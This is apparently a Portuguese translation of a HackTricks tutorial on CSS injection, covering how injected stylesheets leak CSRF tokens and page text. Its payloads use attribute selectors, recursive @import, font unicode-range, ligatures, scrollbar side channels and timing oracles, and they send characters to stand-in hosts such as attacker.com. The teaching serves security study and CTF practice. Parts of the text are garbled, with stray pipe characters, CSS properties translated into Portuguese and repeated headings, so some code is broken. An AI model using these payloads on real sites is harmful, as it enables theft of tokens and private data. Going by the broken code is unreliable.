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# Injeção de CSS
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<details>
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<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
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**Grupo de Segurança Try Hard**
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<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
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{% embed url="https://discord.gg/tryhardsecurity" %}
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## Injeção de CSS
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### Seletor de Atributo
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Os seletores CSS são elaborados para corresponder aos valores dos atributos `name` e `value` de um elemento `input`. Se o atributo de valor do elemento de entrada começar com um caractere específico, um recurso externo predefinido é carregado:
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```css
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input[name=csrf][value^=a]{
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background-image: url(https://attacker.com/exfil/a);
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}
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input[name=csrf][value^=b]{
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background-image: url(https://attacker.com/exfil/b);
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}
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/* ... */
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input[name=csrf][value^=9]{
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background-image: url(https://attacker.com/exfil/9);
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}
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```
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No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos de entrada ocultos (`type="hidden"`) porque os elementos ocultos não carregam backgrounds.
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#### Bypass para Elementos Ocultos
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Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador de irmão geral `~`. A regra CSS então se aplica a todos os irmãos que seguem o elemento de entrada oculto, fazendo com que a imagem de fundo seja carregada:
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```css
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input[name=csrf][value^=csrF] ~ * {
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background-image: url(https://attacker.com/exfil/csrF);
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}
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```
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Um exemplo prático de exploração dessa técnica é detalhado no trecho de código fornecido. Você pode visualizá-lo [aqui](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
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#### Pré-requisitos para Injeção de CSS
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Para que a técnica de Injeção de CSS seja eficaz, certas condições devem ser atendidas:
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1. **Comprimento do Payload**: O vetor de injeção de CSS deve suportar payloads suficientemente longos para acomodar os seletores criados.
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2. **Reavaliação do CSS**: Você deve ter a capacidade de enquadrar a página, o que é necessário para acionar a reavaliação do CSS com os payloads recém-gerados.
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3. **Recursos Externos**: A técnica pressupõe a capacidade de usar imagens hospedadas externamente. Isso pode ser restrito pela Política de Segurança de Conteúdo (CSP) do site.
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### Seletor de Atributo Cego
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Como [**explicado neste post**](https://portswigger.net/research/blind-css-exfiltration), é possível combinar os seletores **`:has`** e **`:not`** para identificar conteúdo mesmo de elementos cegos. Isso é muito útil quando você não tem ideia do que está dentro da página da web que carrega a injeção de CSS.\
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Também é possível usar esses seletores para extrair informações de vários blocos do mesmo tipo, como em:
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```html
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<style>
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html:has(input[name^="m"]):not(input[name="mytoken"]) {
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background:url(/m);
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}
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</style>
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<input name=mytoken value=1337>
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<input name=myname value=gareth>
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```
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Combinando isso com a seguinte técnica **@import**, é possível exfiltrar muitas **informações usando injeção de CSS em páginas cegas com** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
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### @import
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A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar vários links para a vítima**, ou precisa ser capaz de **inserir a página vulnerável à injeção de CSS em um iframe**.
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No entanto, há outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica.
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Isso foi mostrado pela primeira vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) e funciona assim:
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Em vez de carregar a mesma página várias vezes com dezenas de payloads diferentes a cada vez (como na técnica anterior), vamos **carregar a página apenas uma vez e apenas com uma importação para o servidor do atacante** (este é o payload a ser enviado para a vítima):
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```css
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@import url('//attacker.com:5001/start?');
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```
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1. A importação vai **receber algum script CSS** dos atacantes e o **navegador irá carregá-lo**.
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2. A primeira parte do script CSS que o atacante enviará é **outro `@import` para o servidor dos atacantes novamente**.
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3. O servidor dos atacantes não responderá a essa solicitação ainda, pois queremos vazar alguns caracteres e então responder a essa importação com o payload para vazar os próximos.
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4. A segunda e maior parte do payload será um **payload de vazamento de seletor de atributo**.
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5. Isso enviará para o servidor dos atacantes o **primeiro caractere do segredo e o último**.
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6. Uma vez que o servidor dos atacantes tenha recebido o **primeiro e último caractere do segredo**, ele irá **responder à importação solicitada no passo 2**.
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7. A resposta será exatamente a mesma dos **passos 2, 3 e 4**, mas desta vez tentará **encontrar o segundo caractere do segredo e depois o penúltimo**.
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O atacante irá **seguir esse loop até conseguir vazar completamente o segredo**.
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Você pode encontrar o [**código de Pepe Vila para explorar isso aqui**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou você pode encontrar quase o [**mesmo código, mas comentado aqui**.](./#css-injection)
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{% hint style="info" %}
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O script tentará descobrir 2 caracteres de cada vez (do início e do final) porque o seletor de atributo permite fazer coisas como:
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```css
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/* value^= to match the beggining of the value*/
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input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
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/* value$= to match the ending of the value*/
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input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
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```
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Isso permite que o script vaze o segredo mais rapidamente.
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{% endhint %}
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{% hint style="warning" %}
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Às vezes o script **não detecta corretamente que o prefixo + sufixo descoberto já é a bandeira completa** e continuará para frente (no prefixo) e para trás (no sufixo) e em algum momento irá travar.\
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Não se preocupe, apenas verifique a **saída** porque **você pode ver a bandeira lá**.
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{% endhint %}
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### Outros seletores
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Outras maneiras de acessar partes do DOM com **seletores CSS**:
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* **`.classe-a-buscar:nth-child(2)`**: Isso irá buscar o segundo item com a classe "classe-a-buscar" no DOM.
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* Seletor **`:empty`**: Usado, por exemplo, neste [**writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
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```css
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[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
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```
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### XS-Search baseado em erro
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**Referência:** [Ataque baseado em CSS: Abusando do unicode-range de @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC de XS-Search baseado em erro por @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
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A intenção geral é **usar uma fonte personalizada de um ponto de extremidade controlado** e garantir que **o texto (neste caso, 'A') seja exibido com esta fonte apenas se o recurso especificado (`favicon.ico`) não puder ser carregado**.
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```html
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<!DOCTYPE html>
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<html>
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<head>
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<style>
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@font-face{
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font-family: poc;
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src: url(http://attacker.com/?leak);
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unicode-range:U+0041;
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}
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#poc0{
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font-family: 'poc';
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}
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</style>
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</head>
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<body>
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<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
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</body>
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</html>
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```
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1. **Uso de Fonte Personalizada**:
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- Uma fonte personalizada é definida usando a regra `@font-face` dentro de uma tag `<style>` na seção `<head>`.
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- A fonte é nomeada como `poc` e é buscada de um endpoint externo (`http://attacker.com/?leak`).
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- A propriedade `unicode-range` é definida como `U+0041`, visando o caractere Unicode específico 'A'.
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2. **Elemento de Objeto com Texto de Reserva**:
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- Um elemento `<object>` com `id="poc0"` é criado na seção `<body>`. Este elemento tenta carregar um recurso de `http://192.168.0.1/favicon.ico`.
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- O `font-family` para este elemento é definido como `'poc'`, conforme especificado na seção `<style>`.
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- Se o recurso (`favicon.ico`) falhar ao carregar, o conteúdo de reserva (a letra 'A') dentro da tag `<object>` é exibido.
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- O conteúdo de reserva ('A') será renderizado usando a fonte personalizada `poc` se o recurso externo não puder ser carregado.
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### Estilizando Fragmento de Rolagem-para-Texto
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O pseudo-classe **`:target`** é utilizada para selecionar um elemento direcionado por um **fragmento de URL**, conforme especificado na [especificação de Seletores CSS Nível 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). É crucial entender que `::target-text` não corresponde a nenhum elemento a menos que o texto seja explicitamente direcionado pelo fragmento.
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Uma preocupação de segurança surge quando os atacantes exploram o recurso de **Fragmento de Rolagem-para-Texto**, permitindo-lhes confirmar a presença de texto específico em uma página da web ao carregar um recurso de seu servidor por meio de injeção de HTML. O método envolve a injeção de uma regra CSS como esta:
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```css
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:target::before { content : url(target.png) }
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```
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Nesses cenários, se o texto "Administrador" estiver presente na página, o recurso `target.png` é solicitado ao servidor, indicando a presença do texto. Uma instância desse ataque pode ser executada por meio de uma URL especialmente criada que incorpora o CSS injetado ao lado de um fragmento de rolagem de texto:
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```
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http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
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```
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Aqui, o ataque manipula a injeção de HTML para transmitir o código CSS, visando o texto específico "Administrador" através do fragmento Scroll-to-text (`#:~:text=Administrador`). Se o texto for encontrado, o recurso indicado é carregado, sinalizando inadvertidamente sua presença ao atacante.
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Para mitigação, os seguintes pontos devem ser observados:
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1. **Correspondência STTF Restrita**: O Fragmento Scroll-to-text (STTF) é projetado para corresponder apenas a palavras ou frases, limitando assim sua capacidade de vazar segredos ou tokens arbitrários.
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2. **Restrição aos Contextos de Navegação de Nível Superior**: O STTF opera exclusivamente em contextos de navegação de nível superior e não funciona dentro de iframes, tornando qualquer tentativa de exploração mais perceptível para o usuário.
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3. **Necessidade de Ativação do Usuário**: O STTF requer um gesto de ativação do usuário para operar, o que significa que as explorações são viáveis apenas por meio de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques automatizados sem interação do usuário. No entanto, o autor do post do blog destaca condições específicas e contornos (por exemplo, engenharia social, interação com extensões de navegador prevalentes) que podem facilitar a automação do ataque.
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Consciência desses mecanismos e vulnerabilidades potenciais é fundamental para manter a segurança na web e proteger contra táticas exploratórias desse tipo.
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Para mais informações, consulte o relatório original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
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Você pode verificar um [**exploit usando essa técnica para um CTF aqui**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
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### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
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Você pode especificar **fontes externas para valores unicode específicos** que só serão **coletados se esses valores unicode estiverem presentes** na página. Por exemplo:
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```html
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<style>
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@font-face{
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font-family:poc;
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src: url(http://attacker.example.com/?A); /* fetched */
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||
unicode-range:U+0041;
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||
}
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||
@font-face{
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||
font-family:poc;
|
||
src: url(http://attacker.example.com/?B); /* fetched too */
|
||
unicode-range:U+0042;
|
||
}
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||
@font-face{
|
||
font-family:poc;
|
||
src: url(http://attacker.example.com/?C); /* not fetched */
|
||
unicode-range:U+0043;
|
||
}
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#sensitive-information{
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||
font-family:poc;
|
||
}
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</style>
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<p id="sensitive-information">AB</p>htm
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```
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Quando você acessa esta página, o Chrome e o Firefox buscam "?A" e "?B" porque o nó de texto de informações sensíveis contém os caracteres "A" e "B". Mas o Chrome e o Firefox não buscam "?C" porque não contém "C". Isso significa que conseguimos ler "A" e "B".
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### Exfiltração de nó de texto (I): ligaduras <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
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**Referência:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
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A técnica descrita envolve extrair texto de um nó explorando ligaduras de fonte e monitorando mudanças na largura. O processo envolve várias etapas:
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1. **Criação de Fontes Personalizadas**:
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- Fontes SVG são criadas com glifos tendo um atributo `horiz-adv-x`, que define uma largura grande para um glifo representando uma sequência de dois caracteres.
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- Exemplo de glifo SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, onde "XY" denota uma sequência de dois caracteres.
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- Essas fontes são então convertidas para o formato woff usando o fontforge.
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2. **Detecção de Mudanças de Largura**:
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- CSS é usado para garantir que o texto não seja quebrado (`white-space: nowrap`) e para personalizar o estilo da barra de rolagem.
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- A aparição de uma barra de rolagem horizontal, estilizada de forma distinta, atua como um indicador (oráculo) de que uma ligadura específica, e portanto uma sequência de caracteres específica, está presente no texto.
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- O CSS envolvido:
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```css
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body { white-space: nowrap };
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body::-webkit-scrollbar { background: blue; }
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body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
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```
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3. **Processo de Exploração**:
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- **Passo 1**: Fontes são criadas para pares de caracteres com largura substancial.
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- **Passo 2**: Um truque baseado em barra de rolagem é empregado para detectar quando o glifo de largura grande (ligadura para um par de caracteres) é renderizado, indicando a presença da sequência de caracteres.
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- **Passo 3**: Ao detectar uma ligadura, novos glifos representando sequências de três caracteres são gerados, incorporando o par detectado e adicionando um caractere precedente ou sucessivo.
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- **Passo 4**: A detecção da ligadura de três caracteres é realizada.
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- **Passo 5**: O processo se repete, revelando progressivamente todo o texto.
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4. **Otimização**:
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- O método atual de inicialização usando `<meta refresh=...` não é ótimo.
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- Uma abordagem mais eficiente poderia envolver o truque `@import` do CSS, aprimorando o desempenho da exploração.
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### Exfiltração de nó de texto (II): vazando o conjunto de caracteres com uma fonte padrão (sem a necessidade de ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
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**Referência:** [PoC usando Comic Sans por @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
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Este truque foi lançado neste [**tópico do Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). O conjunto de caracteres usado em um nó de texto pode ser vazado **usando as fontes padrão** instaladas no navegador: não são necessárias fontes externas -ou personalizadas-.
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O conceito gira em torno de utilizar uma animação para expandir incrementalmente a largura de um `div`, permitindo que um caractere por vez faça a transição da parte 'sufixo' do texto para a parte 'prefixo'. Esse processo divide efetivamente o texto em duas seções:
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1. **Prefixo**: A linha inicial.
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2. **Sufixo**: A(s) linha(s) subsequente(s).
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As etapas de transição dos caracteres apareceriam da seguinte forma:
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**C**\
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ADB
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**CA**\
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DB
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**CAD**\
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B
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**CADB**
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Durante essa transição, o **truque de unicode-range** é empregado para identificar cada novo caractere à medida que ele se junta ao prefixo. Isso é alcançado mudando a fonte para Comic Sans, que é notavelmente mais alta que a fonte padrão, consequentemente acionando uma barra de rolagem vertical. A aparição dessa barra de rolagem revela indiretamente a presença de um novo caractere no prefixo.
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Embora este método permita a detecção de caracteres únicos à medida que aparecem, ele não especifica qual caractere está sendo repetido, apenas que uma repetição ocorreu.
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{% hint style="info" %}
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Basicamente, o **unicode-range é usado para detectar um caractere**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\
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Quando o **caractere** é **encontrado**, ele é **atribuído** à fonte **Comic Sans pré-instalada**, que o **torna maior** e **aciona uma barra de rolagem** que irá **vazar o caractere encontrado**.
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{% endhint %}
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Verifique o código extraído do PoC:
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```css
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/* comic sans is high (lol) and causes a vertical overflow */
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@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
|
||
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
|
||
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
|
||
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
|
||
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
|
||
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
|
||
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
|
||
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
|
||
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
|
||
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
|
||
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
|
||
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
|
||
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
|
||
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
|
||
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
|
||
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
|
||
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
|
||
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
|
||
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
|
||
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
|
||
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
|
||
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
|
||
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
|
||
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
|
||
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
|
||
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
|
||
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
|
||
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
|
||
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
|
||
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
|
||
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
|
||
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
|
||
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
|
||
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
|
||
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
|
||
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
|
||
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
|
||
|
||
div.leak {
|
||
overflow-y: auto; /* leak channel */
|
||
overflow-x: hidden; /* remove false positives */
|
||
height: 40px; /* comic sans capitals exceed this height */
|
||
font-size: 0px; /* make suffix invisible */
|
||
letter-spacing: 0px; /* separation */
|
||
word-break: break-all; /* small width split words in lines */
|
||
font-family: rest; /* default */
|
||
background: grey; /* default */
|
||
width: 0px; /* initial value */
|
||
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
|
||
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
|
||
}
|
||
|
||
div.leak::first-line{
|
||
font-size: 30px; /* prefix is visible in first line */
|
||
text-transform: uppercase; /* only capital letters leak */
|
||
}
|
||
|
||
/* iterate over all chars */
|
||
@keyframes trychar {
|
||
0% { font-family: rest; } /* delay for width change */
|
||
5% { font-family: has_A, rest; --leak: url(?a); }
|
||
6% { font-family: rest; }
|
||
10% { font-family: has_B, rest; --leak: url(?b); }
|
||
11% { font-family: rest; }
|
||
15% { font-family: has_C, rest; --leak: url(?c); }
|
||
16% { font-family: rest }
|
||
20% { font-family: has_D, rest; --leak: url(?d); }
|
||
21% { font-family: rest; }
|
||
25% { font-family: has_E, rest; --leak: url(?e); }
|
||
26% { font-family: rest; }
|
||
30% { font-family: has_F, rest; --leak: url(?f); }
|
||
31% { font-family: rest; }
|
||
35% { font-family: has_G, rest; --leak: url(?g); }
|
||
36% { font-family: rest; }
|
||
40% { font-family: has_H, rest; --leak: url(?h); }
|
||
41% { font-family: rest }
|
||
45% { font-family: has_I, rest; --leak: url(?i); }
|
||
46% { font-family: rest; }
|
||
50% { font-family: has_J, rest; --leak: url(?j); }
|
||
51% { font-family: rest; }
|
||
55% { font-family: has_K, rest; --leak: url(?k); }
|
||
56% { font-family: rest; }
|
||
60% { font-family: has_L, rest; --leak: url(?l); }
|
||
61% { font-family: rest; }
|
||
65% { font-family: has_M, rest; --leak: url(?m); }
|
||
66% { font-family: rest; }
|
||
70% { font-family: has_N, rest; --leak: url(?n); }
|
||
71% { font-family: rest; }
|
||
75% { font-family: has_O, rest; --leak: url(?o); }
|
||
76% { font-family: rest; }
|
||
80% { font-family: has_P, rest; --leak: url(?p); }
|
||
81% { font-family: rest; }
|
||
85% { font-family: has_Q, rest; --leak: url(?q); }
|
||
86% { font-family: rest; }
|
||
90% { font-family: has_R, rest; --leak: url(?r); }
|
||
91% { font-family: rest; }
|
||
95% { font-family: has_S, rest; --leak: url(?s); }
|
||
96% { font-family: rest; }
|
||
}
|
||
|
||
/* increase width char by char, i.e. add new char to prefix */
|
||
@keyframes loop {
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||
0% { width: 0px }
|
||
1% { width: 20px }
|
||
2% { width: 40px }
|
||
3% { width: 60px }
|
||
4% { width: 80px }
|
||
4% { width: 100px }
|
||
```html
|
||
5% { largura: 120px }
|
||
6% { largura: 140px }
|
||
7% { largura: 0px }
|
||
}
|
||
|
||
div::-webkit-scrollbar {
|
||
fundo: azul;
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||
}
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||
|
||
/* side-channel */
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||
div::-webkit-scrollbar:vertical {
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||
fundo: azul var(--leak);
|
||
}
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||
```
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||
### Exfiltração de nó de texto (III): vazando o conjunto de caracteres com uma fonte padrão ao ocultar elementos (não requer ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
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**Referência:** Isso é mencionado como [uma solução malsucedida neste artigo](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
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Este caso é muito semelhante ao anterior, no entanto, neste caso, o objetivo de tornar caracteres específicos maiores do que outros é ocultar algo, como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, poderíamos medir a ação (ou a falta de ação) e saber se um caractere específico está presente dentro do texto.
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### Exfiltração de nó de texto (III): vazando o conjunto de caracteres pelo tempo de cache (não requer ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
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||
**Referência:** Isso é mencionado como [uma solução malsucedida neste artigo](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
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Neste caso, poderíamos tentar vazar se um caractere está no texto carregando uma fonte falsa da mesma origem:
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```css
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@font-face {
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font-family: "A1";
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src: url(/static/bootstrap.min.css?q=1);
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unicode-range: U+0041;
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}
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```
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Se houver uma correspondência, a **fonte será carregada de `/static/bootstrap.min.css?q=1`**. Embora não seja carregada com sucesso, o **navegador deve armazená-la em cache**, e mesmo que não haja cache, há um mecanismo de **304 not modified**, então a **resposta deve ser mais rápida** do que outras coisas.
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No entanto, se a diferença de tempo entre a resposta em cache e a não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testes, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag `disk-cache-size=1`, o que é realmente atencioso.
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### Exfiltração de nó de texto (III): vazando o conjunto de caracteres cronometrando o carregamento de centenas de "fontes" locais (não requer ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
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**Referência:** Isso é mencionado como [uma solução malsucedida neste artigo](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
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Neste caso, você pode indicar **CSS para carregar centenas de fontes falsas** da mesma origem quando ocorrer uma correspondência. Dessa forma, você pode **medir o tempo** que leva e descobrir se um caractere aparece ou não com algo como:
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```css
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@font-face {
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font-family: "A1";
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src: url(/static/bootstrap.min.css?q=1),
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url(/static/bootstrap.min.css?q=2),
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....
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url(/static/bootstrap.min.css?q=500);
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||
unicode-range: U+0041;
|
||
}
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||
```
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E o código do bot se parece com isso:
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```python
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browser.get(url)
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WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
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time.sleep(30)
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```
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Portanto, se a fonte não corresponder, o tempo de resposta ao visitar o bot é esperado ser de aproximadamente 30 segundos. No entanto, se houver uma correspondência de fonte, várias solicitações serão enviadas para recuperar a fonte, causando atividade contínua na rede. Como resultado, levará mais tempo para satisfazer a condição de parada e receber a resposta. Portanto, o tempo de resposta pode ser usado como um indicador para determinar se há uma correspondência de fonte.
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## Referências
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* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
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||
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
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||
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
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* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
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**Try Hard Security Group**
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<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
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{% embed url="https://discord.gg/tryhardsecurity" %}
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<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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